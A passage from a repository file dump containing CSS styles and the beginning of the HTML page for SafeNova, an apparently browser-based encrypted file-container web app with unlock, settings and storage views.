z-index:500; display:none; align-items:center; justify-content:center;\n  flex-direction:column; gap:12px; font-size:18px; color:var(--accent); pointer-events:none;\n}\n.drop-overlay.show { display:flex; }\n.fw-drop-overlay {\n  position:absolute; inset:0; background:rgba(0,120,212,.12); border:2px dashed var(--accent);\n  border-radius:var(--r); z-index:500; display:none; align-items:center; justify-content:center;\n  flex-direction:column; gap:10px; font-size:14px; color:var(--accent); pointer-events:none;\n}\n.fw-drop-overlay.show { display:flex; }\n\n/* ============================================================\n   LOADING OVERLAY\n   ============================================================ */\n.loading-overlay {\n  position:fixed; inset:0; background:rgba(30,30,30,.8); z-index:10000;\n  flex-direction:column; align-items:center; justify-content:center; gap:16px;\n  display:none;\n}\n.loading-overlay.show { display:flex; }\n.loading-spinner { width:40px; height:40px; border:3px solid var(--bg4); border-top-color:var(--accent); border-radius:50%; animation:spin .8s linear infinite; }\n.loading-msg { font-size:14px; color:var(--text-dim); }\n\n/* ============================================================\n   MISC\n   ============================================================ */\n.badge { display:inline-block; font-size:10px; font-weight:600; padding:1px 6px; border-radius:var(--r); background:var(--bg4); color:var(--text-dim); }\n.badge.encrypted { background:rgba(0,120,212,.15); color:var(--accent); }\n\n/* Selection info bar */\n.selection-bar {\n  position:absolute; bottom:42px; left:50%; transform:translateX(-50%);\n  background:var(--bg3); border:1px solid var(--border2);\n  padding:4px 14px; font-size:12px; color:var(--text-dim);\n  border-radius:2px; white-space:nowrap; z-index:100; pointer-events:none;\n  opacity:0; transition:opacity .2s;\n}\n.selection-bar.show { opacity:1; }\n\n/* Warning notice box */\n.notice-box {\n  display:flex; align-items:flex-start; gap:10px; padding:10px 12px;\n  background:var(--bg3); border-left:2px solid var(--accent);\n  font-size:11px; color:var(--text-dim); line-height:1.5;\n}\n.notice-box.warn { border-left-color:var(--orange); }\n.notice-box.danger { border-left-color:var(--red); }\n.notice-box.danger svg { color:var(--red) !important; }\n.notice-box svg  { flex-shrink:0; margin-top:1px; color:var(--orange); }\n\n/* Delete container warning block */\n.del-container-warning {\n  display:flex; align-items:flex-start; gap:12px; padding:12px;\n  background:rgba(244,71,71,.08); border:1px solid rgba(244,71,71,.25); border-radius:6px;\n  margin-bottom:6px;\n}\n.del-container-warning svg { flex-shrink:0; margin-top:2px; }\n\n/* ============================================================\n   HIDE NATIVE BROWSER PASSWORD REVEAL BUTTON (Edge/IE)\n   ============================================================ */\ninput[type=\"password\"]::-ms-reveal,\ninput[type=\"password\"]::-ms-clear { display:none; }\n\n/* ============================================================\n   PREVENT NATIVE BROWSER DRAG-SELECT ON THUMBNAILS\n   ============================================================ */\n.file-item * { user-select:none; -webkit-user-drag:none; }\n.file-thumb img { -webkit-user-drag:none; pointer-events:none; }\n\n/* ============================================================\n   REMEMBER SESSION SECTION  (in unlock view)\n   ============================================================ */\n.remember-row {\n  display:flex; align-items:center; gap:8px; margin:0 0 6px;\n  font-size:12px; color:var(--text-dim); cursor:pointer;\n}\n.remember-row input[type=\"checkbox\"] {\n  width:13px; height:13px; accent-color:var(--accent);\n  cursor:pointer; flex-shrink:0;\n}\n.remember-opts {\n  flex-direction:column; gap:6px; margin:0 0 12px 22px;\n  padding:8px 12px; background:var(--bg3);\n  border-left:2px solid var(--accent);\n  border-radius:0 var(--r) var(--r) 0;\n}\n.remember-opt {\n  display:flex; align-items:center; gap:8px;\n  font-size:12px; color:var(--text-dim); cursor:pointer;\n}\n.remember-opt input[type=\"radio\"] { accent-color:var(--accent); cursor:pointer; }\n.remember-opt.disabled { opacity:.4; pointer-events:none; cursor:default; }\n.remember-opt.disabled input[type=\"radio\"] { cursor:default; }\n\n/* ============================================================\n   SESSION BADGE  (on container cards — Home view)\n   ============================================================ */\n.session-badge {\n  position:absolute; bottom:10px; left:30px;\n  display:inline-flex; align-items:center; gap:5px;\n  font-size:11px; color:var(--accent2);\n  background:rgba(78,201,176,.1); border:1px solid rgba(78,201,176,.3);\n  border-radius:var(--r); padding:3px 8px; cursor:pointer;\n  user-select:none; transition:background var(--transition);\n}\n.session-badge:hover { background:rgba(78,201,176,.22); }\n\n/* ============================================================\n   FOLDER WINDOW  (floating explorer window)\n   ============================================================ */\n.folder-window {\n  position:absolute; background:var(--bg2);\n  border:1px solid var(--border2); border-radius:var(--r);\n  box-shadow:var(--shadow); display:flex; flex-direction:column;\n  overflow:hidden; min-width:420px; min-height:260px;\n}\n\n/* Title bar */\n.fw-titlebar {\n  height:32px; min-height:32px; background:var(--bg3);\n  border-bottom:1px solid var(--border);\n  display:flex; align-items:center; padding:0 6px; gap:6px;\n  user-select:none; flex-shrink:0;\n}\n.fw-drag-area {\n  flex:1; display:flex; align-items:center; gap:6px;\n  cursor:move; min-width:0; overflow:hidden;\n}\n.fw-folder-icon { flex-shrink:0; width:18px; height:18px; display:flex; align-items:center; }\n.fw-folder-icon svg { width:18px; height:18px; }\n.fw-title {\n  font-size:12px; font-weight:600; color:var(--text-bright);\n  white-space:nowrap; overflow:hidden; text-overflow:ellipsis;\n}\n.fw-controls { display:flex; gap:1px; flex-shrink:0; }\n.fw-btn {\n  background:none; border:none; padding:4px 5px; border-radius:var(--r);\n  color:var(--text-dim); cursor:pointer;\n  display:flex; align-items:center; justify-content:center;\n  transition:background var(--transition), color var(--transition);\n}\n.fw-btn:hover { background:var(--bg5); color:var(--text); }\n.fw-btn.close:hover { background:var(--red); color:#fff; }\n\n/* Toolbar */\n.fw-toolbar {\n  height:30px; min-height:30px; background:var(--bg2);\n  border-bottom:1px solid var(--border);\n  display:flex; align-items:center; padding:0 6px; gap:4px;\n  overflow:hidden; flex-shrink:0;\n}\n.fw-breadcrumb {\n  flex:1; display:flex; align-items:center;\n  font-size:11px; color:var(--text-dim);\n  min-width:0; overflow:hidden; margin-left:4px;\n  background:var(--bg); border:1px solid var(--border); border-radius:var(--r);\n  padding:2px 6px;\n}\n.fw-bc-item {\n  color:var(--text-dim); cursor:pointer;\n  white-space:nowrap; overflow:hidden; text-overflow:ellipsis;\n  padding:1px 3px; border-radius:var(--r);\n  transition:color var(--transition), background var(--transition);\n}\n.fw-bc-item:hover { color:var(--text); background:var(--bg3); }\n.fw-bc-item.current { color:var(--accent); cursor:default; font-weight:600; }\n.fw-bc-item.current:hover { background:transparent; }\n.fw-bc-sep { color:var(--border2); flex-shrink:0; padding:0 1px; }\n\n/* Content area */\n.fw-area {\n  flex:1; position:relative; overflow-x:hidden; overflow-y:auto; outline:none;\n  background:#1e1e1e;\n  background-image:radial-gradient(circle, #2a2a2a 1px, transparent 1px);\n  background-size: calc(24px * var(--icon-scale)) calc(24px * var(--icon-scale));\n  min-height:0;\n}\n\n/* Status bar */\n.fw-statusbar {\n  height:22px; min-height:22px; background:var(--bg2);\n  border-top:1px solid var(--border);\n  display:flex; align-items:center; padding:0 10px;\n  font-size:11px; color:var(--text-dim); flex-shrink:0;\n}\n\n/* ============================================================\n   CONTEXT MENU SUBMENU ARROW\n   ============================================================ */\n.ctx-item-arrow { margin-left:auto; padding-left:8px; font-size:12px; opacity:.6; }\n\n/* ============================================================\n   FOLDER WINDOW RESIZE HANDLE\n   ============================================================ */\n.fw-resize-handle {\n  position:absolute; bottom:0; right:0; width:16px; height:16px;\n  cursor:se-resize; z-index:10; border-radius:0 0 var(--r) 0;\n  background:\n    linear-gradient(135deg, transparent 40%, var(--border2) 40%, var(--border2) 50%, transparent 50%,\n    transparent 60%, var(--border2) 60%, var(--border2) 70%, transparent 70%,\n    transparent 80%, var(--border2) 80%, var(--border2) 90%, transparent 90%);\n}\n\n/* ============================================================\n   FILE HOVER TOOLTIP\n   ============================================================ */\n.file-tooltip {\n  position:fixed; background:var(--bg3); border:1px solid var(--border2);\n  border-radius:var(--r); box-shadow:var(--shadow-sm);\n  padding:8px 12px; min-width:180px; max-width:300px;\n  z-index:99999; pointer-events:none;\n  font-size:12px; line-height:1.6;\n  animation:tooltipIn .12s ease;\n}\n.file-tooltip .ft-name {\n  font-weight:600; color:var(--text-bright); margin-bottom:5px;\n  overflow:hidden; text-overflow:ellipsis; white-space:nowrap;\n}\n.file-tooltip .ft-row { color:var(--text-dim); }\n@keyframes tooltipIn { from { opacity:0; transform:translateY(-3px); } to { opacity:1; transform:translateY(0); } }\n\n/* ============================================================\n   CUT ITEM VISUAL FEEDBACK\n   ============================================================ */\n.file-item.cut-item { opacity: 0.45; filter: saturate(0.3); transition: opacity .15s, filter .15s; }\n\n/* ============================================================\n   ICON APPEAR ANIMATION\n   ============================================================ */\n@keyframes iconPop {\n    from { opacity: 0; transform: scale(calc(var(--icon-scale) * 0.72)); }\n    to   { opacity: 1; transform: scale(var(--icon-scale)); }\n}\n\n/* ============================================================\n   SETTINGS MODAL\n   ============================================================ */\n.modal-settings { width:560px; height: 500px; display: flex; flex-direction: column; overflow: hidden; }\n.settings-tabs {\n  display:flex; border-bottom:1px solid var(--border); flex-shrink:0;\n}\n.settings-tab {\n  flex:1; padding:10px 0; background:none; border:none; color:var(--text-dim);\n  font-size:13px; font-weight:500; cursor:pointer; border-bottom:2px solid transparent;\n  transition:color var(--transition), border-color var(--transition);\n}\n.settings-tab:hover { color:var(--text); }\n.settings-tab.active { color:var(--accent); border-bottom-color:var(--accent); }\n.settings-panel { padding:20px; display:flex; flex-direction:column; gap:16px; flex:1; overflow-y:auto; }\n.settings-section { display:flex; flex-direction:column; gap:14px; }\n.settings-row {\n  display:flex; align-items:center; justify-content:space-between; gap:12px;\n}\n.settings-label { font-size:13px; color:var(--text); white-space:nowrap; }\n.settings-toggle-group { display:flex; gap:0; border:1px solid var(--border2); border-radius:var(--r); overflow:hidden; }\n.settings-toggle-btn {\n  padding:5px 14px; font-size:12px; background:none; border:none; color:var(--text-dim);\n  cursor:pointer; transition:background var(--transition), color var(--transition);\n}\n.settings-toggle-btn:not(:last-child) { border-right:1px solid var(--border2); }\n.settings-toggle-btn:hover { background:var(--bg3); color:var(--text); }\n.settings-toggle-btn.active { background:var(--accent); color:#fff; }\n\n/* Switch toggle */\n.switch { position:relative; display:inline-block; width:36px; height:20px; flex-shrink:0; }\n.switch input { opacity:0; width:0; height:0; }\n.switch-slider {\n  position:absolute; inset:0; background:var(--bg4); border-radius:10px; cursor:pointer;\n  transition:background .2s;\n}\n.switch-slider::before {\n  content:''; position:absolute; width:14px; height:14px; left:3px; top:3px;\n  background:#fff; border-radius:50%; transition:transform .2s;\n}\n.switch input:checked + .switch-slider { background:var(--accent); }\n.switch input:checked + .switch-slider::before { transform:translateX(16px); }\n\n/* Stats */\n.stats-grid {\n  display:grid; grid-template-columns:repeat(2,1fr); gap:10px;\n}\n.stats-card {\n  background:var(--bg3); border:1px solid var(--border); border-radius:var(--r);\n  padding:12px 14px; display:flex; flex-direction:column; gap:4px;\n}\n.stats-card-value { font-size:20px; font-weight:600; color:var(--text-bright); }\n.stats-card-label { font-size:11px; color:var(--text-dim); text-transform:uppercase; letter-spacing:.5px; }\n.stats-chart-wrap { margin-top:10px; }\n.stats-bar-chart { display:flex; flex-direction:column; gap:6px; }\n.stats-bar-row {\n  display:flex; align-items:center; gap:8px; font-size:12px; color:var(--text-dim);\n}\n.stats-bar-row-label { width:70px; text-align:right; flex-shrink:0; overflow:hidden; text-overflow:ellipsis; white-space:nowrap; }\n.stats-bar-row-track { flex:1; height:8px; background:var(--bg4); border-radius:4px; overflow:hidden; }\n.stats-bar-row-fill { height:100%; border-radius:4px; transition:width .4s ease; }\n.stats-bar-row-pct { width:36px; font-size:11px; color:var(--text-dim); }\n.stats-storage-bar {\n  height:14px; background:var(--bg4); border-radius:7px; overflow:hidden; position:relative;\n}\n.stats-storage-fill {\n  height:100%; border-radius:7px; background:linear-gradient(90deg,var(--accent),#5aadff);\n  transition:width .4s ease;\n}\n.stats-storage-text {\n  position:absolute; inset:0; display:flex; align-items:center; justify-content:center;\n  font-size:10px; color:#fff; font-weight:600; text-shadow:0 1px 2px rgba(0,0,0,.5);\n}\n\n/* Burger button + dropdown: hidden by default (desktop) */\n.topbar-burger    { display:none; }\n.topbar-dropdown  { display:none; }\n\n/* ============================================================\n   MOBILE RESPONSIVE\n   ============================================================ */\n@media (max-width: 640px) {\n  /* Header */\n  .app-header { padding:0 10px; gap:8px; }\n  .header-logo span { font-size:14px; }\n  .header-logo small { display:none; }\n  .header-actions .btn { padding:5px 8px; font-size:11px; gap:4px; }\n  .header-actions .btn svg { width:12px; height:12px; }\n\n  /* Home body */\n  .home-body { padding:12px; gap:14px; }\n  .container-grid { grid-template-columns:1fr; gap:10px; }\n  .container-card { padding:14px; }\n  .home-warning-box { font-size:11px; padding:10px; }\n\n  /* Storage footer */\n  .storage-footer { padding:10px 12px; }\n\n  /* Desktop topbar — show only back + breadcrumb + burger */\n  .desktop-topbar {\n    padding:0 8px; gap:6px;\n    height:44px; min-height:44px;\n  }\n  .desktop-topbar .btn-sm:not(.topbar-burger):not(#btn-lock) { display:none; }\n  .desktop-topbar .separator { display:none; }\n  .topbar-burger { display:flex; margin-left:auto; flex-shrink:0; }\n  .breadcrumb { font-size:12px; }\n\n  /* Burger dropdown — fixed so it overlays the view without breaking layout */\n  .topbar-dropdown {\n    position:fixed; top:44px; left:0; right:0; z-index:7500;\n    background:var(--bg2); border-bottom:1px solid var(--border);\n    box-shadow:0 6px 20px rgba(0,0,0,.55);\n    display:flex; flex-direction:column;\n    transform:translateY(-8px); opacity:0; pointer-events:none;\n    transition:transform .18s ease, opacity .18s ease;\n  }\n  .topbar-dropdown.open {\n    transform:translateY(0); opacity:1; pointer-events:all;\n  }\n  .topbar-dd-item {\n    display:flex; align-items:center; gap:12px;\n    padding:13px 18px; font-size:14px; font-family:var(--font);\n    color:var(--text); background:none; border:none; cursor:pointer;\n    text-align:left; transition:background var(--transition);\n    -webkit-tap-highlight-color:transparent;\n  }\n  .topbar-dd-item:hover,\n  .topbar-dd-item:active { background:var(--bg3); }\n  .topbar-dd-item svg { flex-shrink:0; color:var(--text-dim); }\n  .topbar-dd-sep { height:1px; background:var(--border); margin:2px 0; }\n\n  /* Taskbar */\n  .taskbar { padding:0 8px; gap:6px; height:36px; min-height:36px; }\n  .taskbar-container-name { font-size:12px; }\n  .taskbar-storage { font-size:10px; }\n  .taskbar-bar-wrap { width:50px; }\n  #btn-lock-taskbar { font-size:11px; padding:5px 8px; }\n\n  /* Context menu */\n  .ctx-menu { min-width:180px; }\n  .ctx-item { padding:11px 16px; font-size:14px; }\n\n  /* Modals */\n  .modal { min-width:0 !important; width:95vw; max-width:95vw; }\n  .modal-editor { width:98vw !important; height:90vh !important; }\n  .modal-viewer { width:98vw !important; height:90vh !important; }\n  .modal-settings { width:95vw !important; max-height:85vh !important; }\n\n  /* Prevent iOS auto-zoom on input focus (font-size must be ≥16px) */\n  .input, .input-area, textarea.code-editor { font-size:16px !important; }\n\n  /* Folder windows: full-screen on mobile */\n  .folder-window {\n    position:fixed !important; left:0 !important; top:0 !important;\n    width:100vw !important; height:100dvh !important;\n    min-width:unset !important; min-height:unset !important;\n    border-radius:0; z-index:7800 !important;\n  }\n  .fw-resize { display:none !important; }\n\n  .stats-grid { grid-template-columns:1fr 1fr; gap:8px; }\n  .stats-card-value { font-size:16px; }\n\n  /* Unlock view */\n  .unlock-box { padding:24px 20px; max-width:95vw; }\n  .unlock-title { font-size:18px; }\n\n  /* Toast */\n  #toast-container { bottom:46px; right:8px; left:8px; }\n  .toast { max-width:100%; }\n}\n\n/* Prevent touch callout and text selection on interactive areas */\n@media (pointer: coarse) {\n  .desktop-area, .fw-area, .file-item, .ctx-item, .container-card {\n    -webkit-touch-callout: none;\n    -webkit-tap-highlight-color: transparent;\n  }\n  .ctx-item { padding:10px 14px; }\n}\n\n/* CUSTOM SELECT */\n.custom-select { appearance:none; background:var(--bg3) url(\"data:image/svg+xml;utf8,<svg fill='%23888' height='20' viewBox='0 0 24 24' width='20' xmlns='http://www.w3.org/2000/svg'><path d='M7 10l5 5 5-5z'/></svg>\") no-repeat right 6px center; border:1px solid var(--border); color:var(--text); padding:6px 28px 6px 10px; border-radius:var(--r); font-family:var(--font); font-size:13px; cursor:pointer; outline:none; transition:border-color var(--transition); }\n.custom-select:focus { border-color:var(--accent); }\n.custom-select option { background:var(--bg2); color:var(--text); }\n\n.settings-section-title { font-size:11px; font-weight:600; text-transform:uppercase; color:var(--text-dim); margin-bottom:4px; letter-spacing:0.5px; border-bottom:1px solid var(--border2); padding-bottom:4px; }\n\n/* CUSTOM DROPDOWN UI */\n.custom-dd { position:relative; width:140px; }\n.custom-dd-head { display:flex; align-items:center; justify-content:space-between; background:var(--bg3); border:1px solid var(--border); padding:6px 10px; border-radius:var(--r); cursor:pointer; font-size:13px; color:var(--text); transition:border-color var(--transition); user-select:none; }\n.custom-dd-head:hover { border-color:var(--border2); }\n.custom-dd-head.active { border-color:var(--accent); }\n.custom-dd-menu { position:absolute; top:calc(100% + 4px); left:0; right:0; background:var(--bg3); border:1px solid var(--border); border-radius:var(--r); box-shadow:var(--shadow); z-index:9999; display:none; max-height:200px; overflow-y:auto; }\n.custom-dd.open .custom-dd-menu { display:block; }\n.custom-dd-opt { padding:8px 10px; font-size:13px; color:var(--text); cursor:pointer; transition:background var(--transition); }\n.custom-dd-opt:hover { background:var(--accent); color:#fff; }\n.custom-dd-opt.selected { background:rgba(0,120,212,.2); color:var(--accent); }\n"
  },
  {
    "path": "safenova/index.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n\n<head>\n    <meta charset=\"UTF-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\">\n    <meta http-equiv=\"Content-Security-Policy\" content=\"default-src 'self' 'unsafe-inline' 'wasm-unsafe-eval' blob: data:\">\n    <title>SafeNova</title>\n    <link rel=\"icon\" href=\"favicon.svg\" type=\"image/svg+xml\">\n    <link rel=\"stylesheet\" href=\"css/app.css\">\n    <script>if(localStorage.getItem('snv-doc-hide')==='1')document.documentElement.classList.add('snv-doc-hidden');</script>\n</head>\n\n<body>\n\n    <!-- ==================== LOADING OVERLAY ==================== -->\n    <div class=\"loading-overlay\" id=\"loading-overlay\">\n        <div class=\"loading-spinner\"></div>\n        <div class=\"loading-msg\" id=\"loading-msg\">Processing...</div>\n    </div>\n\n    <!-- ==================== HOME VIEW ==================== -->\n    <div id=\"view-home\" class=\"view\">\n        <header class=\"app-header\">\n            <div class=\"header-logo\">\n                <svg class=\"header-logo-icon\" viewBox=\"0 0 32 32\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                    <defs>\n                        <linearGradient id=\"hdr-sg\" x1=\"16\" y1=\"1\" x2=\"16\" y2=\"31\" gradientUnits=\"userSpaceOnUse\">\n                            <stop offset=\"0%\" stop-color=\"#1565c0\" />\n                            <stop offset=\"100%\" stop-color=\"#0d47a1\" />\n                        </linearGradient>\n                    </defs>\n                    <path d=\"M16 2L3.5 7v9c0 9 5 13.4 12.5 14.5C19.5 29.4 28.5 25 28.5 16V7z\" fill=\"url(#hdr-sg)\" />\n                    <path d=\"M16 3.5L5 8v8.5c0 7.5 4 11.5 11 12.5\" fill=\"none\" stroke=\"rgba(255,255,255,.18)\" stroke-width=\"1\" />\n                    <path d=\"M19.5 6L11 18.5h6.5L13.5 27 24 14h-6.5z\" fill=\"#4ec9b0\" stroke=\"rgba(255,255,255,.25)\" stroke-width=\".7\" stroke-linejoin=\"round\" />\n                </svg>\n                <span class=\"header-brand\">SafeNova</span><span class=\"tier-badge\">Enterprise</span>\n            </div>\n            <span class=\"header-spacer\"></span>\n            <div class=\"header-actions\">\n                <button class=\"btn btn-ghost btn-sm\" id=\"btn-import-container\">\n                    <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                        <path d=\"M7 9V1M3 6l4 4 4-4M2 11h10v2H2z\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\" />\n                    </svg>\n                    Import\n                </button>\n                <button class=\"btn btn-primary\" id=\"btn-new-container\">\n                    <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                        <path d=\"M7 1v12M1 7h12\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"square\" />\n                    </svg>\n                    New Container\n                </button>\n            </div>\n        </header>\n\n        <div class=\"home-body\">\n            <div class=\"home-warning-box hidden\" id=\"home-warning-box\">\n                <svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\" style=\"flex-shrink:0;margin-top:2px\">\n                    <path d=\"M8 1.5L1 14.5h14z\" stroke=\"currentColor\" stroke-width=\"1.3\" stroke-linejoin=\"round\"/>\n                    <line x1=\"8\" y1=\"6.5\" x2=\"8\" y2=\"10\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"round\"/>\n                    <circle cx=\"8\" cy=\"12.5\" r=\"0.85\" fill=\"currentColor\"/>\n                </svg>\n                <div style=\"flex:1\">\n                    <strong>All files are stored directly in your browser</strong> and are never sent to any server.\n                    Clearing site data, reinstalling the browser, or using a different browser/device will\n                    <strong>permanently erase all containers and files</strong>. Use the Export function to back up your data.\n                </div>\n                <button class=\"warning-dismiss\" id=\"warning-dismiss\" title=\"Don't show again\">\n                    <svg width=\"12\" height=\"12\" viewBox=\"0 0 12 12\" fill=\"none\"><path d=\"M2 2l8 8M10 2L2 10\" stroke=\"currentColor\" stroke-width=\"1.4\" stroke-linecap=\"round\"/></svg>\n                </button>\n            </div>\n            <div>\n                <div class=\"home-section-title\">SafeNova Containers</div>\n                <div class=\"container-grid\" id=\"container-grid\">\n                    <div class=\"container-empty\" id=\"container-empty\">\n                        <svg viewBox=\"0 0 48 48\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                            <rect x=\"8\" y=\"18\" width=\"32\" height=\"22\" rx=\"1\" stroke=\"currentColor\" stroke-width=\"2\" />\n                            <path d=\"M16 18V13a8 8 0 0116 0v5\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"square\" />\n                            <circle cx=\"24\" cy=\"29\" r=\"3\" stroke=\"currentColor\" stroke-width=\"2\" />\n                        </svg>\n                        <p>No containers yet. Create your first one.</p>\n                    </div>\n                </div>\n            </div>\n\n            <div class=\"home-doc-wrap\">\n            <div class=\"home-doc\" id=\"home-doc\">\n                <button class=\"home-doc-collapse\" id=\"home-doc-collapse\" title=\"Hide\">\n                    <svg width=\"11\" height=\"11\" viewBox=\"0 0 11 11\" fill=\"none\"><path d=\"M2 2l7 7M9 2L2 9\" stroke=\"currentColor\" stroke-width=\"1.3\" stroke-linecap=\"round\"/></svg>\n                </button>\n                <span class=\"home-doc-badge\">Enterprise Security Platform</span>\n                <div class=\"home-doc-title\">SafeNova &mdash; Zero-Trust</div>\n                <p class=\"home-doc-p\">Each container is a fully encrypted virtual desktop backed by <strong>SafeNova&nbsp;EFS</strong>. Every file gets its own AES-256-GCM key and a unique IV &mdash; data at rest is indistinguishable from random bytes. Passwords are never stored: Argon2id derives a 256-bit key in memory, resistant to GPU and ASIC brute-force by design. Nothing leaves the browser &mdash; keys live only in volatile session memory and vanish on inactivity or tab close.</p>\n                <div class=\"home-doc-stack\">\n                    <span>AES-256-GCM</span>\n                    <span>Argon2id</span>\n                    <span>Web Crypto API</span>\n                    <span>WebAuthn</span>\n                    <span>IndexedDB</span>\n                    <span>WASM</span>\n                </div>\n            </div>\n            <button class=\"home-doc-tab\" id=\"home-doc-tab\" title=\"Security info\">\n                <svg width=\"11\" height=\"11\" viewBox=\"0 0 12 12\" fill=\"none\"><path d=\"M6 1L1 3.5v4c0 2.5 2 4 5 4.5 3-.5 5-2 5-4.5v-4z\" stroke=\"currentColor\" stroke-width=\"1.1\" stroke-linejoin=\"round\"/><path d=\"M4 6l1.5 1.5L8 4\" stroke=\"currentColor\" stroke-width=\"1.2\" stroke-linecap=\"round\" stroke-linejoin=\"round\"/></svg>\n                <span>Security Info</span>\n            </button>\n            </div>\n        </div>\n\n        <div class=\"storage-warning-banner\" id=\"storage-warning-banner\">\n            <svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                <path d=\"M8 2L1 14h14z\" stroke=\"currentColor\" stroke-width=\"1.4\" stroke-linejoin=\"round\" />\n                <path d=\"M8 6v4\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"round\" />\n                <circle cx=\"8\" cy=\"12\" r=\"0.8\" fill=\"currentColor\" />\n            </svg>\n            <span>Low storage</span>\n        </div>\n\n        <div class=\"storage-footer\">\n            <div class=\"storage-row\">\n                <span class=\"storage-label\">Device Storage</span>\n                <div class=\"storage-bar-wrap\">\n                    <div class=\"storage-bar-fill\" id=\"storage-bar-fill\" style=\"width:0%\"></div>\n                </div>\n                <span class=\"storage-text\" id=\"storage-text\">-</span>\n            </div>\n            <div class=\"storage-row\">\n                <span class=\"storage-label\">SafeNova</span>\n                <div class=\"storage-bar-wrap\">\n                    <div class=\"storage-bar-fill\" id=\"twc-bar-fill\" style=\"width:0%;background:var(--purple)\"></div>\n                </div>\n                <span class=\"storage-text\" id=\"twc-text\">-</span>\n            </div>\n        </div>\n    </div>\n\n    <!-- ==================== UNLOCK VIEW ==================== -->\n    <div id=\"view-unlock\" class=\"view\">\n        <div class=\"unlock-box\">\n            <button class=\"btn btn-ghost btn-sm unlock-back\" id=\"btn-back\">\n                <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                    <path d=\"M9 2L4 7l5 5\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\" />\n                </svg>\n                Back\n            </button>\n            <div class=\"unlock-icon\">\n                <svg width=\"40\" height=\"40\" viewBox=\"0 0 40 40\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                    <rect x=\"7\" y=\"18\" width=\"26\" height=\"18\" rx=\"2\" fill=\"var(--bg3)\" stroke=\"var(--border2)\" stroke-width=\"1.5\"/>\n                    <path d=\"M13 18v-5a7 7 0 0114 0v5\" stroke=\"var(--accent)\" stroke-width=\"2.5\" stroke-linecap=\"square\"/>\n                    <circle cx=\"20\" cy=\"27\" r=\"3\" fill=\"var(--accent)\"/>\n                </svg>\n            </div>\n            <div class=\"unlock-title\">SafeNova Container</div>\n            <div class=\"unlock-name-badge\" id=\"unlock-name\">-</div>\n            <div class=\"form-group\">\n                <label class=\"form-label\">Master Password</label>\n                <div class=\"input-wrap\">\n                    <input type=\"password\" class=\"input\" id=\"unlock-pw\" placeholder=\"Enter container password\" autocomplete=\"current-password\">\n                    <button class=\"input-eye\" id=\"unlock-pw-eye\" tabindex=\"-1\">\n                        <svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                            <path d=\"M1 8s2.5-5 7-5 7 5 7 5-2.5 5-7 5-7-5-7-5z\" stroke=\"currentColor\" stroke-width=\"1.5\" />\n                            <circle cx=\"8\" cy=\"8\" r=\"2.5\" stroke=\"currentColor\" stroke-width=\"1.5\" />\n                        </svg>\n                    </button>\n                </div>\n            </div>\n            <div class=\"unlock-spinner\" id=\"unlock-spinner\">\n                <div class=\"spinner\"></div>\n                <span>Deriving key (AES-256 / Argon2id)...</span>\n            </div>\n            <div class=\"unlock-error\" id=\"unlock-error\"></div>\n            <div class=\"remember-section\">\n                <label class=\"remember-row\">\n                    <input type=\"checkbox\" id=\"unlock-remember\">\n                    <span>Remember password</span>\n                </label>\n                <div class=\"remember-opts\" id=\"remember-opts\" style=\"display:flex\">\n                    <label class=\"remember-opt disabled\">\n                        <input type=\"radio\" name=\"remember-scope\" id=\"remember-tab\" value=\"tab\" checked disabled>\n                        <span>Current tab session</span>\n                    </label>\n                    <label class=\"remember-opt disabled\">\n                        <input type=\"radio\" name=\"remember-scope\" id=\"remember-browser\" value=\"browser\" disabled>\n                        <span>Current browser session</span>\n                    </label>\n                </div>\n            </div>\n            <button class=\"btn btn-primary btn-lg\" id=\"btn-unlock\">\n                <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                    <rect x=\"2\" y=\"6\" width=\"10\" height=\"7\" rx=\"1\" stroke=\"currentColor\" stroke-width=\"1.5\" />\n                    <path d=\"M4 6V4a3 3 0 015.8-1\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\" />\n                </svg>\n                Unlock Container\n            </button>\n            <div style=\"text-align:center;font-size:11px;color:var(--text-dim);margin-top:4px\">\n                AES-256-GCM &middot; Argon2id\n            </div>\n        </div>\n    </div>\n\n    <!-- ==================== DESKTOP VIEW ==================== -->\n    <div id=\"view-desktop\" class=\"view\">\n        <div class=\"desktop-topbar\">\n            <button class=\"btn btn-ghost btn-icon btn-sm\" id=\"btn-lock\" title=\"Back to menu\">\n                <svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                    <path d=\"M10 2L4 8l6 6\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\" />\n                </svg>\n            </button>\n            <div class=\"breadcrumb\" id=\"breadcrumb\"></div>\n\n            <button class=\"btn btn-ghost btn-sm\" id=\"btn-settings\">\n                <svg width=\"15\" height=\"15\" viewBox=\"0 0 15 15\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                    <path d=\"M7.5 9.5a2 2 0 1 0 0-4 2 2 0 0 0 0 4Z\" stroke=\"currentColor\" stroke-width=\"1.4\"/>\n                    <path 